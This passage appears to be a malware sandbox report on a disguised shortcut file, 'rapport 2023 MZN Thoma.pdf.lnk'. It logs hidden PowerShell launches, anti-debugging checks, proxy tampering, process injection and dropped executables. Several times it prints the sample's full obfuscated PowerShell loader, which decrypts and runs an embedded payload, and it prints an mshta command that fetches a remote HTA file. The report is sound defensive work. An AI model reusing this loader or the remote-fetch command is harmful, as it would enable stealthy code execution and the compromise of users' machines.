sSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe \| powershell - }

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW June 21, 2023, 7:29 a.m.	thread_identifier: 1648 thread_handle: 0x000004a8 process_identifier: 1196 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe \| powershell - } filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004ac	1	1
ShellExecuteExW June 21, 2023, 7:29 a.m.	show_type: 0 filepath_r: powershell.exe parameters: -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe \| powershell - } filepath: powershell.exe	1	1
ShellExecuteExW June 21, 2023, 7:29 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe \| powershell - filepath: C:\Windows\System32\cmd.exe	1	1

Checks for the Locally Unique Identifier on the system for a suspicious privilege (4 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW June 21, 2023, 7:29 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 21, 2023, 7:29 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 21, 2023, 7:29 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 21, 2023, 7:29 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

141.98.6.99

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA June 21, 2023, 7:29 a.m.	key_handle: 0x000002f8 regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

Modifies proxy override settings possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA June 21, 2023, 7:29 a.m.	key_handle: 0x000002f8 regkey_r: ProxyOverride reg_type: 1 (REG_SZ) value: 127.0.0.1:16107; regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride	1	0	0

One or more non-whitelisted processes were created (3 events)

parent_process	powershell.exe	martian_process	"C:\Windows\System32\mshta.exe" http://141.98.6.99/thomas.hta
parent_process	powershell.exe	martian_process	C:\Windows\System32\cmd.exe /c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe \| powershell -
parent_process	powershell.exe	martian_process	"C:\Windows\system32\cmd.exe" /c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe \| powershell -

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3012 resumed a thread in remote process 2212
NtResumeThread June 21, 2023, 7:29 a.m.	thread_handle: 0x00000338 suspend_count: 1 process_identifier: 2212	1	0	0

Creates a suspicious Powershell process (4 events)

option	-executionpolicy unrestricted	value	Attempts to bypass execution policy
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-executionpolicy unrestricted	value	Attempts to bypass execution policy
option	-windowstyle hidden	value	Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (21 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Windows\System32\mshta.exe

rapport 2023 MZN Thoma.pdf.lnk

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All